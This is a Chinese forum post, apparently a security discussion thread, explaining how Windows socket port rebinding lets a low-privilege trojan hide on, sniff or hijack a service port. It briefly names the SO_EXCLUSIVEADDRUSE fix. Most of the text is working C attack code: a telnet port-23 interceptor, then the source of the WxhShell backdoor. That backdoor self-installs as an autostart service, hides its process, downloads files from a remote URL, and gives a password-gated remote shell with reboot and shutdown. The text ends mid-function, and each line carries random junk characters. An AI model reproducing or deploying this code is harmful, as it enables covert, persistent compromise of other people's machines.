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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3i\Np =  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gYbcBb%z  
%V#MUi1  
  saddr.sin_family = AF_INET; lM#,i\8Q  
[WV&Y,E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R~eLEjezm  
Zrj#4 E1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ikw.L  
%Y"pVBc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ";7/8(LBZ  
rz&'wCiOO  
  这意味着什么?意味着可以进行如下的攻击: 947;6a%$  
w'XN<RWA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G/#m. =t  
q*tGlM@R?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i`W~-J  
pvb&vtp  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Xfbr;Jt"<  
_1mpsY<k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FBvh7D.hV  
U$3DIJVI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #`!mQSK  
wmIe x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _l1"X^Aa  
fK *l?Hr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '.<c[Mp  
bfm+!9=9S  
  #include (y~%6o6  
  #include hc3tzB  
  #include uA;#*eiA/  
  #include    %d *0"<v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sINf/mv+  
  int main() uqU&k@  
  { /8nUecr  
  WORD wVersionRequested; x*RSD,3  
  DWORD ret; !]E ]Xd<  
  WSADATA wsaData; K=E+QvSG  
  BOOL val; ngmC~l*,  
  SOCKADDR_IN saddr; |yz o|%]3  
  SOCKADDR_IN scaddr; MkjB4:"  
  int err; *uf)t,%  
  SOCKET s; i*$~uuY  
  SOCKET sc; /U0Hk>$~(  
  int caddsize; |K;9b-\  
  HANDLE mt; ~d1=_p:~T  
  DWORD tid;   JM?__b7g2  
  wVersionRequested = MAKEWORD( 2, 2 ); NZ&ZK@h}.  
  err = WSAStartup( wVersionRequested, &wsaData ); x?lRObHK  
  if ( err != 0 ) { 'DNxc  
  printf("error!WSAStartup failed!\n"); <|.]$QSi  
  return -1; 8 5)C7tJ-g  
  } e`H>}O/ai  
  saddr.sin_family = AF_INET; n4M Xa()P1  
   nTGZ2C)c<'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5Phsh  
,c$tKj5ulQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TBQ68o  
  saddr.sin_port = htons(23); lY(_e#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HeO&p@  
  { KK1?!7  
  printf("error!socket failed!\n"); r&B0 -7r  
  return -1; Eu~1t& 4  
  } W)J5[p?  
  val = TRUE; iGz*4^ %  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~av#r=x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B(vCi^  
  { rc<Ix  
  printf("error!setsockopt failed!\n"); ,!alNNY  
  return -1; `q* p-Ju'  
  } V*fv>f:Yv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4e.19H9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `''y,{Fs  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 UcD<vg"p  
@_$$'XA7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hY%} x5ntU  
  { k'N``.  
  ret=GetLastError(); v<g~ EjzCf  
  printf("error!bind failed!\n"); T?d}IDv1  
  return -1; w xte  
  } YEaT_zWG0  
  listen(s,2); 3h>L0  
  while(1) &Wb"/Hn2  
  { r)Lm| S  
  caddsize = sizeof(scaddr); R"JXWw  
  //接受连接请求 |4 \2,M#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cLwnV.  
  if(sc!=INVALID_SOCKET) yp^k;G?_d  
  { bHx@   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3)#Nc|  
  if(mt==NULL) hgW1g#  
  { i/'bpGrQ(  
  printf("Thread Creat Failed!\n"); IvkYM`%  
  break; ENr#3+m$;  
  } OaY89ko  
  } +^esL9RG:  
  CloseHandle(mt); Me? I8:/  
  } @#N7M2/  
  closesocket(s); PWx%~U.8~j  
  WSACleanup(); @MTv4eC}e  
  return 0; @~|;/OY>"  
  }   x*'H@!!G  
  DWORD WINAPI ClientThread(LPVOID lpParam) Pp8G2|bz  
  { I;E?;i  
  SOCKET ss = (SOCKET)lpParam; d_pIB@J  
  SOCKET sc; Sa9VwVUE  
  unsigned char buf[4096]; MI(#~\Y~P  
  SOCKADDR_IN saddr; *P7/ry^<F  
  long num; siCm)B  
  DWORD val; W!O/t^H>  
  DWORD ret; bQq/~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 K x) PK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LS9,:!$  
  saddr.sin_family = AF_INET; %s+'"E"E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R6fkc^  
  saddr.sin_port = htons(23); Nj2l>[L;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \n,L600`q  
  { 0k16f3uI   
  printf("error!socket failed!\n"); *<67h*|)  
  return -1; r5nHYV&7  
  } gYrB@W; 2  
  val = 100; FNF`Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N* &T)a  
  { \ HUDZ2 s  
  ret = GetLastError(); j[A(@ w"  
  return -1; c?_7e9}2  
  } 1 /{~t[*.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h6O'"  
  { !a:e=b7g  
  ret = GetLastError(); 0KgP'oWvY  
  return -1; V?G%-+^  
  } E' `;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yn]Sc<uK  
  { Lhux~,EH  
  printf("error!socket connect failed!\n"); OOXSJE1  
  closesocket(sc); 2P8wvNDG  
  closesocket(ss); w5PscEc  
  return -1; %(khE-SW  
  } fw,,cu`YA  
  while(1) '5$@ I{z  
  { ?K:\WW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u1y>7,Z6W  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2/V%jS[4#y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |T/OOIA=sI  
  num = recv(ss,buf,4096,0); GeY!f/yQ<  
  if(num>0) AQQa6Ce*  
  send(sc,buf,num,0); PcT]  
  else if(num==0) /"k[T  
  break;  \SQ4yc  
  num = recv(sc,buf,4096,0); ^(C4Q?[2m  
  if(num>0) 3'0vLi  
  send(ss,buf,num,0); >]ux3F3\  
  else if(num==0) rYdNn0mh k  
  break; j][&o-Ev  
  } XPMUhozV  
  closesocket(ss); \C>IVz<O  
  closesocket(sc); ;K8}Yq9p9  
  return 0 ; rm3/R<  
  } J Hm Pa  
$},XRo&R  
}`QZV_  
========================================================== KyVzf(^  
%regt{  
下边附上一个代码,,WXhSHELL j[dZ*Jr_  
F::Ki4{jJ  
========================================================== rL"]m_FK  
2%R.~9HtA  
#include "stdafx.h" +<p&V a#  
6AY( /N8V  
#include <stdio.h> L7(FD v,?  
#include <string.h> e/+.^ '{  
#include <windows.h> GU/P%c/V  
#include <winsock2.h> q\i&E Rr  
#include <winsvc.h> 1I69O6"  
#include <urlmon.h> nF]R "  
fm^`   
#pragma comment (lib, "Ws2_32.lib") VUUnB<j  
#pragma comment (lib, "urlmon.lib") }ixCbuD  
q#c+%,Z=C  
#define MAX_USER   100 // 最大客户端连接数 U&R)a| 7R  
#define BUF_SOCK   200 // sock buffer \VOv&s;h  
#define KEY_BUFF   255 // 输入 buffer viYrPhH+z  
YfT D  
#define REBOOT     0   // 重启 Z>y6[o  
#define SHUTDOWN   1   // 关机 C)yw b6  
ZLKbF9lo  
#define DEF_PORT   5000 // 监听端口 __tA(uA  
0Mn |Yb4p  
#define REG_LEN     16   // 注册表键长度 r7_%t_O|IL  
#define SVC_LEN     80   // NT服务名长度 $X Uck[  
V 1d#7rP  
// 从dll定义API ?b(wZ-/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PbvA~gm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fOSk > gK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]C"?xy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9"S iHp\)  
e&i`/m5  
// wxhshell配置信息 !})Y9oZc8  
struct WSCFG { -:=m-3*Tg  
  int ws_port;         // 监听端口 )_j(NX-C:  
  char ws_passstr[REG_LEN]; // 口令 Wm"#"l4  
  int ws_autoins;       // 安装标记, 1=yes 0=no zJ}abo6rVw  
  char ws_regname[REG_LEN]; // 注册表键名 k.54lNl  
  char ws_svcname[REG_LEN]; // 服务名 U%@C<o "  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S`  U,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <Bn0wr8)\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /t]1_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =EYgck;)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [75?cQD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Yh!k uS#<  
dB#c$1  
}; pO)EYla9  
i;]0>g4  
// default Wxhshell configuration MYVVI1A  
struct WSCFG wscfg={DEF_PORT, .3_u5N|[=W  
    "xuhuanlingzhe", j ]%XY+e  
    1, t D 8l0  
    "Wxhshell", xa]yq%  
    "Wxhshell", yId1J  
            "WxhShell Service", Y[PC<-fyf  
    "Wrsky Windows CmdShell Service", aLW3Ub{h  
    "Please Input Your Password: ", Sw>>]UjU  
  1, rt*>)GI]b  
  "http://www.wrsky.com/wxhshell.exe", 5o4KV?"  
  "Wxhshell.exe" b1'849i'y=  
    }; .UX4p =  
\5<Z[#{  
// 消息定义模块 ->;2CcpHB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (AjgLNB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f0^s<:*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fsEQ4xN'  
char *msg_ws_ext="\n\rExit."; E6xdPjoWy  
char *msg_ws_end="\n\rQuit."; hfbu+w):  
char *msg_ws_boot="\n\rReboot..."; {0,6- dd5  
char *msg_ws_poff="\n\rShutdown..."; sx7zRw >X  
char *msg_ws_down="\n\rSave to "; oBub]<.J  
vc3r [mT  
char *msg_ws_err="\n\rErr!"; d:A'|;']  
char *msg_ws_ok="\n\rOK!"; 7>r[.g  
Ug0c0z!b  
char ExeFile[MAX_PATH]; b[:m[^  
int nUser = 0; 7p!f+\kM  
HANDLE handles[MAX_USER]; C`qV+pV  
int OsIsNt; JURu>-i  
l9j= ;h  
SERVICE_STATUS       serviceStatus; s 8K.A~5 w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ps`j>vX*  
:,qvqh][  
// 函数声明 /L(}VJg-  
int Install(void); +]wM$bP  
int Uninstall(void); =Sr<d|\O  
int DownloadFile(char *sURL, SOCKET wsh); ] FvGAG.*  
int Boot(int flag); "B +F6  
void HideProc(void); Pz D30VA  
int GetOsVer(void); QAo/d4  
int Wxhshell(SOCKET wsl); u~ FVI  
void TalkWithClient(void *cs); >tMI%r  
int CmdShell(SOCKET sock); BL>~~  
int StartFromService(void); }|8^+V&  
int StartWxhshell(LPSTR lpCmdLine); 6~{'\Z  
"G*$#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S"^'ksL\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jd5kkX8=  
sieC7raO  
// 数据结构和表定义 E&t8nlTx  
SERVICE_TABLE_ENTRY DispatchTable[] = Fx1FxwIJ  
{ d5 {=<j  
{wscfg.ws_svcname, NTServiceMain}, GZx*A S]+  
{NULL, NULL} "8?Fl&=Q  
}; j bT{K|d-  
2$t%2>1>@  
// 自我安装 /D|q-`*K  
int Install(void) up8d3  
{ xf7YIhL^*  
  char svExeFile[MAX_PATH]; Tu}EAr  
  HKEY key; vQ2{ +5!|  
  strcpy(svExeFile,ExeFile); H!"TS-s`  
X+,0;% p  
// 如果是win9x系统,修改注册表设为自启动 ,BGUIu6  
if(!OsIsNt) { bBo>Y7%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x`IWo:j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }o[<1+W(.  
  RegCloseKey(key); ` ` Yk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B~& }Mv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wy-y-wi:p  
  RegCloseKey(key); }'>mT,ytgk  
  return 0; : vgn0 IQ  
    } Q^05n$ tI  
  } dmLx$8  
} 7ju38@+  
else { %Kp^wf#o9  
^si[L52BZ  
// 如果是NT以上系统,安装为系统服务 )z4eRs F|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #&L7FBJ"*v  
if (schSCManager!=0) Z6Kp-z(l3  
{ e0Gs|c+6  
  SC_HANDLE schService = CreateService L8 NZU*"  
  ( cc}#-HKR[  
  schSCManager, `GCK%evLG  
  wscfg.ws_svcname, Lz:FR*  
  wscfg.ws_svcdisp, ]Ge>S?u  
  SERVICE_ALL_ACCESS, OP-{76vE&b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `Gl[e4U  
  SERVICE_AUTO_START,  +`ov1h  
  SERVICE_ERROR_NORMAL, a+a6P5kJ  
  svExeFile, ,7k1n{C)  
  NULL, ~.0'v [N  
  NULL, HPt\ BK  
  NULL, bs16G3- p  
  NULL, HNj;_S  
  NULL 5tLb o  
  ); I,)\506  
  if (schService!=0) .j**>&7L  
  { $4)L~g|  
  CloseServiceHandle(schService); dZb;`DjTH  
  CloseServiceHandle(schSCManager); FCKyKn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bz~aj}"`  
  strcat(svExeFile,wscfg.ws_svcname); ]?oJxW.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T34Z#PFwe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .n)R@&9  
  RegCloseKey(key); Zkqq<  
  return 0; $\~cWpv  
    } ,\aL v  
  } gNA!)}m\  
  CloseServiceHandle(schSCManager); 9$C?)XKXB  
} IA]wO%c  
} D<<q5gG  
3?L[ohKH?:  
return 1; IXR'JZ?fH  
} f\.y z[  
#e,TS`"eD  
// 自我卸载 ZU+_nWnl  
int Uninstall(void) 7n+,!oJ  
{ Q7<VuXy  
  HKEY key; O|^J;fS:  
3G2iRr.o  
if(!OsIsNt) { <hTHY E=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )& Oxp&x  
  RegDeleteValue(key,wscfg.ws_regname); UX<-jY#'V  
  RegCloseKey(key); EBz4k)@m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Iw h0PfWJ  
  RegDeleteValue(key,wscfg.ws_regname); dga4|7-MY  
  RegCloseKey(key); s8P3H|0.-  
  return 0; 1,Mm+_)B  
  } t,*1=S5  
} 84WcaH  
} p|mFF0SL  
else { v-q-CI? B#  
Md~._@`|K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KRcB_(  
if (schSCManager!=0) M6^ \LtFt  
{ llWY7u"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,r]H+vWS  
  if (schService!=0) @o^$/AE?  
  { ' ]+!i a  
  if(DeleteService(schService)!=0) {  G +41D  
  CloseServiceHandle(schService); z/f._Z(  
  CloseServiceHandle(schSCManager); jX(${j<  
  return 0; "e8EA!Ipte  
  } <j,3Dn  
  CloseServiceHandle(schService); T6=|)UTe1  
  } g}gGm[1SUo  
  CloseServiceHandle(schSCManager); gW--[  
} [)GRP  
} eB1NM<V  
d,(q 3  
return 1; 7iwck.*  
} wCR! bZ w  
F8{gJaP x  
// 从指定url下载文件 l>pB\<LL  
int DownloadFile(char *sURL, SOCKET wsh) "c]9Q%  
{ jl(D;JnF  
  HRESULT hr; hif;atO  
char seps[]= "/"; fKqr$59>  
char *token; }5(_gYr  
char *file; 'q |"+;  
char myURL[MAX_PATH]; ly0L)L]\  
char myFILE[MAX_PATH]; &y=OZ !M  
CLVT5pj='  
strcpy(myURL,sURL); +ZW>JjP*  
  token=strtok(myURL,seps); 8~R.iqLoX  
  while(token!=NULL) z _\L@b  
  { hp(MKfhH  
    file=token; Y<VX.S2kf  
  token=strtok(NULL,seps); Xn%7{%;h  
  } [m h>N$  
`^hA&/1  
GetCurrentDirectory(MAX_PATH,myFILE); |gP)lR  
strcat(myFILE, "\\"); *P/A&"i[E  
strcat(myFILE, file); l9=Ka{$^*  
  send(wsh,myFILE,strlen(myFILE),0); ;w"h n*  
send(wsh,"...",3,0); bO/r1W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (:`4*xK  
  if(hr==S_OK) { >[ ]iX  
return 0; V61oK  
else .[]S!@+%  
return 1; P[q>;Fx*  
%#v$d  
} 6wwbH}*=?  
iBbaHU*V  
// 系统电源模块 :'C?uk ?  
int Boot(int flag) -p)`ob-  
{ nKr'cb  
  HANDLE hToken; .u#Hg'oP  
  TOKEN_PRIVILEGES tkp; ; I-6H5  
T5ky:{Y(  
  if(OsIsNt) { .$x}~Sw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9v*y&V9/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JluA?B7E  
    tkp.PrivilegeCount = 1; >W-xDzJry  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3I( n];  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EHn!ZrQgh  
if(flag==REBOOT) { :6t73\O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h;+O96V4.  
  return 0; |g^YD;9s.  
} *kK +Nvt8s  
else { l9eTghLi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T3 ie-G@<  
  return 0; ,"#nJC  
} hf9i%,J  
  } )z74,n7-  
  else { {-me;ayk  
if(flag==REBOOT) { @^YXE,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cRr3!<EZ  
  return 0; ;r"r1'a+@  
} %gFIu.c  
else { l6w\E=K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >\pF5a`  
  return 0; %u&Vt"6m=  
} tyW[i8)O}  
} O]hUOc `k  
,z#D[5  
return 1; C}xfo}i  
} KP0(w(q  
~b)X:ku  
// win9x进程隐藏模块 >m1b/J3#  
void HideProc(void) "A~dt5GJ  
{ &o t^+uVH  
<>n|_6'$90  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hkb\ GcOj  
  if ( hKernel != NULL ) }DjVZ48  
  { !\%JOf}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oi7k#^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gE@Pb  
    FreeLibrary(hKernel); dS 4/spNq  
  } FN!?o:|(  
*lLCH,  
return; URm<Ji  
} H9TeMY  
",gVo\^  
// 获取操作系统版本 fmv:vs /9  
int GetOsVer(void) ]$ s)6)kW  
{ V*te8HIe  
  OSVERSIONINFO winfo; zsQkI@)sO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r-EIoZ"P  
  GetVersionEx(&winfo); |iBf6smF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CT|0KB&  
  return 1; UQh.o   
  else 8h|}Q_  
  return 0; sRcd{)|Cq  
} EmUn&p%hI  
[&&#~gz  
// 客户端句柄模块 2@Nd02v|  
int Wxhshell(SOCKET wsl) !L9|iC:8  
{ B!quj!A  
  SOCKET wsh; ceks~[rP  
  struct sockaddr_in client; !0zcS7&P  
  DWORD myID; 4>L* 7i  
#M w70@6  
  while(nUser<MAX_USER) R-ek O7z  
{ )^qXjF  
  int nSize=sizeof(client); Z D"*fr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o ?05bv  
  if(wsh==INVALID_SOCKET) return 1; gfAWN  
#| g h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _8 K|2$X  
if(handles[nUser]==0) }eZ \~2  
  closesocket(wsh); Jg'#IM  
else 6 .?0 {2s  
  nUser++; 9 $X" D  
  } 0$Mxu7 /  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Sb2_&5  
=eW4?9Uq  
  return 0; *zweZG8:  
} K-Pcew^?  
1qn/*9W}=  
// 关闭 socket X.#9[3U+  
void CloseIt(SOCKET wsh) FPK=Tr:b  
{ VK*H1EH1  
closesocket(wsh); .tfal9  
nUser--; Ex_dqko  
ExitThread(0); &_;=]t s  
} 4PS|  
p</t##]3ks  
// 客户端请求句柄 8kU(>' ^_:  
void TalkWithClient(void *cs) =(TMcu$4`  
{ ckP AH E@  
16I[z+RG  
  SOCKET wsh=(SOCKET)cs; 9&^5!R8  
  char pwd[SVC_LEN]; yCkc3s|DA;  
  char cmd[KEY_BUFF]; -9+$z|K  
char chr[1]; mz<,nR\  
int i,j; XHgW9;M!  
y[jp)&N`  
  while (nUser < MAX_USER) { 0VJHE~Bgi  
>{Mv+  
if(wscfg.ws_passstr) { xgNV0;g,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U5cbO{\ 3I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jb/C\2U4)  
  //ZeroMemory(pwd,KEY_BUFF); /\Xe '&  
      i=0; fYZd:3VdC  
  while(i<SVC_LEN) { !JDuVqW  
#H~$^L   
  // 设置超时 .@;5"  
  fd_set FdRead; TZ n2,N  
  struct timeval TimeOut; 751Q i  
  FD_ZERO(&FdRead); UL~~J[1r  
  FD_SET(wsh,&FdRead); HXdo:#xEO  
  TimeOut.tv_sec=8; /u]#dX5  
  TimeOut.tv_usec=0; ?@MY+r_G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tJtp1$h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &l-d_dh  
HtE^7i*_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 438r]f?0|{  
  pwd=chr[0]; #] Do_Z  
  if(chr[0]==0xd || chr[0]==0xa) { ;cL+= !  
  pwd=0; nHXPEbq-g  
  break; /: \27n  
  } dKDCJ t]t  
  i++; u0?TMy.%  
    } Jz&dC  
IJPyCi)  
  // 如果是非法用户,关闭 socket OOnj(%g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t^6ams$  
} cyjgi /Z  
^l ;Bo3^_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !_c6 `oW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @sd{V  
Ei<+{P(t0  
while(1) { 0$y HO2 f  
Ae^4  
  ZeroMemory(cmd,KEY_BUFF); =7:}/&  
hlc g[Qdo*  
      // 自动支持客户端 telnet标准   l_2l/ff9  
  j=0; rfgsas{F  
  while(j<KEY_BUFF) { w}07u5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4>Q] \\Lc  
  cmd[j]=chr[0]; :m'(8s8  
  if(chr[0]==0xa || chr[0]==0xd) { Bv*VNfUm  
  cmd[j]=0; hD,^mru  
  break; hOIg 7=v  
  } Rdd9JJsVd  
  j++; [%Dh0hOg  
    } Y<@_d  
l:#'i`;   
  // 下载文件 slr>6o%W`  
  if(strstr(cmd,"http://")) { 0}k vuuR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oOXJ7 |n  
  if(DownloadFile(cmd,wsh)) @ K2Ncb7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /<O9^hA|  
  else !#olG}#[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GV9pet89yu  
  } [>j.x2=  
  else { bgInIe  
Ia^/^>  
    switch(cmd[0]) { % 1<@p%y/  
  j6 _w2  
  // 帮助 ]8cD,NS  
  case '?': { F?y C=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9(KffnE^  
    break; iN@|08  
  } <P Vmr2Jp"  
  // 安装 4dSAGLpp  
  case 'i': { 6,R<8a;Wn  
    if(Install()) >Ij# +=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l,b_' m@  
    else t#]VR7]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8L@@UUjr  
    break; dW^#}kN7V  
    } ~ :B/`1[m  
  // 卸载 0R&7vn  
  case 'r': { '@QK<!%,  
    if(Uninstall()) hGUQdTNP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); un,W{*s8*  
    else 8h|~>v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]HG> Og  
    break; MAc/ T.[  
    } ~~ty9;KYL  
  // 显示 wxhshell 所在路径 ^M1O)   
  case 'p': { xkaed  
    char svExeFile[MAX_PATH]; ; Oz p  
    strcpy(svExeFile,"\n\r"); ,fm{ krE  
      strcat(svExeFile,ExeFile); B=%YD"FAv  
        send(wsh,svExeFile,strlen(svExeFile),0); _xP@kN~  
    break; n 2(\pQKm  
    } =G rg  
  // 重启 h{E9rc1,  
  case 'b': { lg jY\?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Lg6>\Z4  
    if(Boot(REBOOT)) vZSwX@0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6SSrkj}U  
    else { ?Y$3R"p@3`  
    closesocket(wsh); /q`f3OV"  
    ExitThread(0); DEzL]1;P  
    } fvDcE]_%H  
    break; BUsAEw M  
    } J\I`#  
  // 关机 8O*O 5   
  case 'd': { @Z~0!VY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ti5"a<R4m6  
    if(Boot(SHUTDOWN)) 3SOrM  
